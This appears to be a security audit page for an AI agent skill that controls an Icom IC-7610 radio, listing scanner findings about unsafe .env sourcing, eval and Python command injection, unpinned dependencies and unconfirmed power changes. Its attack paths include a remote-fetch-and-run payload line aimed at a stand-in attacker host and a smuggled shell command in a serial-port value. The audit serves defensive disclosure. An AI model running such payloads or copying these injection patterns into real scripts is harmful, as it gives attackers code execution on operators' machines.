Icom IC-7610

• Outcome: Review
• Latest audit: Sep 10, 2026 · 11:15 PM UTC
• Version: 2.1.0

Overview

This is a disclosed radio-control skill, but it needs review because some instructions can run unsafe shell/Python snippets and allow important radio changes without explicit confirmation.

Install only if you are comfortable letting an agent control real radio hardware. Keep FLRIG_URL and rigctld bound to trusted local addresses, review every transmit/beacon action, require confirmation for power and frequency changes, and replace sourced .env/eval/Python -c examples with safer argument-based parsing before using them in scripts.

A.I.G

Vulnerability Patterns

• Insecure Dependencies: Introduces malicious components through unsafe dependency sources
• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review

Findings (4)

T09 · Insecure Skill Coding Practices

Error

• Location: references/FULL-REFERENCE.md:10

Finding

Executable Shell Configuration Allows Arbitrary Code Execution

Content

View full analysis

/dev/null || true ``` ### Technical Analysis The `source` shell built-in does not parse `.env` as passive configuration. It evaluates the entire file as shell code in the context of the current process. Consequently, command substitutions, shell functions, redirections, pipelines, and arbitrary commands placed in `.env` execute with the privileges of the operator running the documented scripts. The project describes `.env` as a station configuration file, which may lead users or automation to treat it as non-executable data. The existence check does not provide any integrity, ownership, or syntax validation. ### Attack Path 1. An attacker gains the ability to create or modify the project-local `.env` file, such as through an untrusted archive, shared workspace, compromised setup process, or another process running under the same account. 2. The attacker adds a shell payload, for example: ```bash SERIAL_PORT=/dev/ttyUSB0 curl https://attacker.example/payload.sh | sh ``` 3. An operator or agent runs one of the documented helper scripts. 4. The `source "$ENV_FILE"` statement evaluates the malicious line. 5. The payload executes with the privileges and environment of the operator or agent. ...[truncated 433 chars]

Remediation

View remediation

T09 · Insecure Skill Coding Practices

Error

• Location: references/FULL-REFERENCE.md:139

Finding

Arbitrary Command Execution Through eval-Based Retry Helper

Content

View full analysis

&1) && { echo "$result"; return 0; } echo "⚠️ Attempt $attempt/$max_attempts failed: $result" >&2 [ $attempt -lt $max_attempts ] && sleep $delay delay=$((delay * 2)) done echo "⛔ All $max_attempts attempts failed" >&2 return 1 } # Usage: rig_retry "timeout 10 rigctl -m $MODEL -r '$PORT' -s $BAUD f" ``` ### Technical Analysis The helper accepts a command as a string and reparses it with `eval`. Shell metacharacters inside the command string are therefore interpreted as syntax rather than passed as literal argument content. The documented usage incorporates configuration-derived values such as `$MODEL`, `$PORT`, and `$BAUD` into the string before it reaches `eval`. Quoting `$PORT` inside single quotes does not make this safe because a malicious value can contain a single quote, terminate the intended quoted section, and append another command. Other interpolated values are not quoted at all. ### Attack Path 1. An attacker controls a value that is incorporated into the command string, such as `SERIAL_PORT`, `HAMLIB_MODEL`, or `BAUD_RATE`. 2. The attacker supplies shell syntax. For example, a malicious serial-port value could close the embedded quote and add a second command: ```bash SERIAL_PORT="/dev/null'; id > /tmp/rig_retry_executed; #" ``` 3. The caller constructs the command string documented by the project. 4. `rig_retry` invokes `eval "$1"`. 5. The shell reparses the injected semicolon, redirection, and comment as syntax. 6. The attacker-selected command executes on every applicable retry attempt. ### Impact Assessment Exploitation provides arbitrary command execution with the privileges of ...[truncated 217 chars]

Remediation

View remediation

&1) && { printf '%s\n' "$result" return 0 } printf 'Attempt %s/%s failed: %s\n' \ "$attempt" "$max_attempts" "$result" >&2 [ "$attempt" -lt "$max_attempts" ] && sleep "$delay" delay=$((delay * 2)) done return 1 } rig_retry timeout 10 rigctl -m "$MODEL" -r "$PORT" -s "$BAUD" f ``` Additionally: - Validate `MODEL` and `BAUD` as bounded integers. - Validate `PORT` as an expected serial-device path. - Quote every variable expansion used as an argument. - Prohibit `eval`, `bash -c`, and similar secondary parsing mechanisms for commands containing configuration-derived data. ]]>

T09 · Insecure Skill Coding Practices

Error

• Location: SKILL.md:139

Finding

Configuration Values Are Interpolated Directly Into Python Source Code

Content

View full analysis

/tmp/python_injected'); ser=serial.Serial('x ``` 3. The operator invokes the documented serial power-on command. 4. The shell substitutes the malicious value into the `python3 -c` argument. 5. Python parses the substituted content as source code. 6. The injected Python operation executes with the privileges of the in ...[truncated 366 chars]

Remediation

View remediation

T08 · Insecure Dependencies

Warning

• Location: SKILL.md:14

Finding

Unpinned pyserial Installation Creates a Supply-Chain Exposure

Content

View full analysis

Remediation

View remediation

\ --hash=sha256: ``` - Install with `pip install --require-hashes -r requirements.txt`. - Review and update the pinned version through a controlled dependency-update process. - Prefer an isolated virtual environment instead of modifying the system Python environment. - Document the expected package index and prohibit untrusted extra indexes. - Generate and retain a software bill of materials for released Skill versions. ]]>

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Supply Chain: Unpinned Dependencies, External Script Fetching, Obfuscated Code

Findings (13)

Credential Access

High

• Category: Privilege Escalation
• Confidence: 60% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 34)May include surrounding context.

bash

# Load config (insert at the top of scripts)
SKILL_DIR="$(cd "$(dirname "${BASH_SOURCE[0]:-$0}")" && pwd)"
ENV_FILE="${SKILL_DIR:-.}/.env"
[ -f "$ENV_FILE" ] || ENV_FILE="$(dirname "$0")/.env"
[ -f "$ENV_FILE" ] && source "$ENV_FILE"

Credential Access

High

• Category: Privilege Escalation
• Confidence: 60% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/FULL-REFERENCE.md (reported line 16)May include surrounding context.

bash

# Load config (insert at the top of scripts)
SKILL_DIR="$(cd "$(dirname "${BASH_SOURCE[0]:-$0}")" && pwd)"
ENV_FILE="${SKILL_DIR:-.}/.env"
[ -f "$ENV_FILE" ] || ENV_FILE="$(dirname "$0")/.env"
[ -f "$ENV_FILE" ] && source "$ENV_FILE"

Credential Access

High

• Category: Privilege Escalation
• Confidence: 60% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/FULL-REFERENCE.md (reported line 17)May include surrounding context.

bash

# Load config (insert at the top of scripts)
SKILL_DIR="$(cd "$(dirname "${BASH_SOURCE[0]:-$0}")" && pwd)"
ENV_FILE="${SKILL_DIR:-.}/.env"
[ -f "$ENV_FILE" ] || ENV_FILE="$(dirname "$0")/.env"
[ -f "$ENV_FILE" ] && source "$ENV_FILE"

Credential Access

High

• Category: Privilege Escalation
• Confidence: 82% confidence

Finding

This snippet blindly sources .env from the script directory with source ... || true, executing any shell code present in that file rather than parsing only key-value pairs. If an attacker can modify .env or influence the working directory contents, this becomes arbitrary code execution and also exposes whatever credentials or configuration the file contains.

Content

Scanner excerpt · references/FULL-REFERENCE.md (reported line 93)May include surrounding context.

bash

# Load config
source "$(dirname "$0")/.env" 2>/dev/null || true
PORT="${SERIAL_PORT:-/dev/cu.usbserial-11320}"
BAUD="${BAUD_RATE:-19200}"
MODEL="${HAMLIB_MODEL:-3078}"

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 91% confidence

Finding

The skill performs an outbound HTTP POST to a configurable XML-RPC endpoint, which is a real external transmission surface. Because the endpoint comes from environment configuration and the skill controls physical radio hardware, a malicious or misconfigured URL could cause unintended network communication or command delivery to an untrusted service.

Content

Scanner excerpt · SKILL.md (reported line 58)May include surrounding context.

md

if rigctl -m 2 -r "$RIGCTLD" f >/dev/null 2>&1; then
  CONN="rigctld"
# 2. Check flrig
elif curl -s --connect-timeout 2 --max-time 3 -X POST "$FLRIG" \
     -H "Content-Type: text/xml" \
     -d '<?xml version="1.0"?><methodCall><methodName>rig.get_vfoA</methodName></methodCall>' \
     | grep -q '<value>'; then

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 95% confidence

Finding

This helper sends dynamically constructed XML-RPC requests to the configured endpoint using unescaped parameters and method names. In addition to external network transmission, this creates a command-injection-at-protocol-layer risk where attacker-controlled inputs could alter requested XML methods or parameters and trigger unauthorized radio actions, including transmission or power control.

Content

Scanner excerpt · SKILL.md (reported line 110)May include surrounding context.

bash

call_flrig() {
  curl -s --connect-timeout 3 --max-time 5 -X POST "$FLRIG" \
    -H "Content-Type: text/xml" \
    -d "<?xml version=\"1.0\"?><methodCall><methodName>$1</methodName><params>$2</params></methodCall>" | \
    grep -o '<value>[^<]*</value>' | head -1 | sed 's/<[^>]*>//g'

Autonomous Decision Making

Medium

• Category: Excessive Agency
• Confidence: 88% confidence

Finding

The skill explicitly permits power on/off without confirmation, even though it controls real-world equipment remotely. Autonomous power-state changes on RF equipment are safety-relevant and can enable follow-on actions, unexpected station availability, or unauthorized remote operation, especially when combined with the skill's transmit and beacon features.

Content

Scanner excerpt · SKILL.md (reported line 180)May include surrounding context.

md

4. Power ≤ $MAX_POWER_W (default 50 W); above → extra confirmation
5. SWR ≤ 3.0 if available; >3.0 → REFUSE (antenna problem)

### No confirmation needed
Reading freq/mode/S-meter/SWR, switching VFO, changing freq/mode, power on/off.

### Always require confirmation

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 87% confidence

Finding

The helper sends XML-RPC requests to a configurable URL from .env with no validation or restriction, allowing the skill to transmit commands over the network to whatever endpoint FLRIG points to. In this skill context, those commands can change radio state or trigger transmission-related functions, so untrusted or misconfigured endpoints increase the risk of unintended remote control and data exposure.

Content

Scanner excerpt · references/FULL-REFERENCE.md (reported line 112)May include surrounding context.

md

rig_cmd() {
  if [ "$RIG_MODE" = "flrig" ]; then
    curl -s --connect-timeout 3 --max-time 5 -X POST "$FLRIG" \
      -H "Content-Type: text/xml" \
      -d "<?xml version=\"1.0\"?><methodCall><methodName>$1</methodName><params>$2</params></methodCall>" | \
      grep -o '<value>[^<]*</value>' | head -1 | sed 's/<[^>]*>//g'

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 60% confidence

Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/FULL-REFERENCE.md (reported line 238)May include surrounding context.

md

swr=$(rigctl -m $MODEL -r "$PORT" -s $BAUD l SWR 2>&1)

# Via flrig
swr=$(curl -s -X POST "$FLRIG" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>rig.get_SWR</methodName><params></params></methodCall>' | \
  grep -o '<value>[^<]*</value>' | head -1 | sed 's/<[^>]*>//g')

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 90% confidence

Finding

The generic call_flrig function accepts arbitrary method names and params and posts them to a configurable XML-RPC endpoint without validation. In this skill, that creates a flexible primitive for remote control, including methods such as PTT, raw CI-V strings, shutdown, and other state changes if later used unsafely.

Content

Scanner excerpt · references/FULL-REFERENCE.md (reported line 295)May include surrounding context.

bash

call_flrig() {
  curl -s -X POST "$FLRIG" \
    -H "Content-Type: text/xml" \
    -d "<?xml version=\"1.0\"?><methodCall><methodName>$1</methodName><params>$2</params></methodCall>" | \
    grep -o '<value>[^<]*</value>' | head -1 | sed 's/<[^>]*>//g'

Autonomous Decision Making

Medium

• Category: Excessive Agency
• Confidence: 76% confidence

Finding

The documentation explicitly permits autonomous state-changing actions such as switching VFO, changing frequency, and changing mode without operator confirmation. In a radio-control skill, those changes can place the station on the wrong frequency/mode, interfere with operations, or set up subsequent transmission mistakes, making autonomy more dangerous than in a read-only skill.

Content

Scanner excerpt · references/FULL-REFERENCE.md (reported line 569)May include surrounding context.

md

## Safety Rules (Summary)

### No confirmation needed:
- Reading frequency, mode, S-meter, SWR, power
- Switching VFO A/B
- Changing frequency within amateur bands

Context-Inappropriate Capability

Medium

• Category: Not specified by scanner
• Confidence: 88% confidence

Finding

The manifest describes radio control functions such as frequency, mode, power, meters, CW, beaconing, and remote power control. The TODO item 'Explore Telnet CLI (port 23) — admin console (ver/save/restart)' introduces an administrative management capability that is not justified by the stated operational radio-control purpose and suggests expansion into device administration/restart functions.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Low

• Category: Not specified by scanner
• Confidence: 78% confidence

Finding

The manifest focuses on CAT-style control and status operations for the IC-7610, plus CW/beacon and power control. The TODO 'Add audio streaming support (port 50003)' would extend the skill into media transport/streaming, which is a distinct capability not covered by the declared purpose.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.